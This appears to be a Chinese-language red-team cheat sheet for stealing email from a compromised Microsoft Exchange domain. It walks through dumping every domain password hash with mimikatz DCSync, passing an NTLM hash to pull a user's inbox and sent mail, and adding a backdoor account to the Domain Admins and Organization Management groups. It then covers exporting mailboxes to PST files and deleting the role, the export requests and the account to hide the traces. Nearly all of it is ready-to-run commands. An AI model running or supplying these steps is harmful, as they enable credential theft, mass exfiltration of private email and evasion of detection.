一、当获取到用户hash没办法解密,但是想导出邮件可利用该方法
dcsync获取域内所有hash:lsadump::dcsync /domain:redteam.com /all /csv
利用获取到的ntml hash本地注入一个cmd,利用cmd无需账户密码信息来进行收信
mimikatz.exe “privilege::debug” “sekurlsa::pth /user:用户 /domain:redteam.com /ntlm:hash /run:cmd” “exit”
工具:https://github.com/pentest-tools-public/Pass-to-hash-EWS
导入邮件所有内容:pth_to_ews.exe https://192.168.237.181/ews/Exchange.asmx -MType Inbox 远程拖收件箱
pth_to_ews.exe https://192.168.237.181/ews/Exchange.asmx -MType Inbox 远程拖发件箱
二、获取Exchange服务器权限的情况下导出邮件
在邮件服务器上打开 Exchange Management Shell
打开 EMS 所需权限:Organization Management 组成员
提升 ‘user’ 用户为域管权限 and 加入 Organization Management 组
net user user 123456 /add
net group “domain admins” scarlet /add
net group “Organization Management” scarlet /add
Get-ManagementRoleAssignment 查看有无 Mailbox Import Export 的角色,新建一个 Exchange 角色组并将其添加到 Mailbox Import Export 管理角色中
PS > New-RoleGroup –Name “Enterprise Mail Support” -Roles “Mailbox Import Export” -Members Administrator -Description “Import Export_Enterprise Support
创建网络共享文件夹稍后存放保存的邮件
一、获取所有用户邮件地址(导出格式CSV)
Get-Mailbox -ResultSize Unlimited |select displayname,PrimarySmtpAddress |Export-Csv -Encoding utf8 all-email.csv -NoTypeInformation
二、导出指定用户所有邮件
New-MailboxExportRequest -Mailbox Administrator -FilePath “\DC empPSTmail.pst”
三、导出指定用户某个时间段邮件
New-MailboxExportRequest -ContentFilter {Received -gt ’02/22/2019 0:00:00′) -and Received -lt ’08/25/2019 23:59:59′)) -or Sent -gt ’03/21/2019 0:00:00′) -and Sent -lt ’05/09/2019 23:59:59′))} -Mailbox Administrator -FilePath “\DC empPSTmail.pst”
导出文件拖会本地,使用outlook打开即可看见该用户的所有邮件内容。
四、清理痕迹
删除角色:Remove-RoleGroup -Identity “Enterprise Mail Support”
删除已完成请求:Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest
从组中删除用户 :net group “Organization Management” scarlet /delete
删除用户(可跳过这步保留用户):net user scarlet /delete
参考文章:
https://www.dazhuanlan.com/2020/02/28/5e58a1ddac1c7/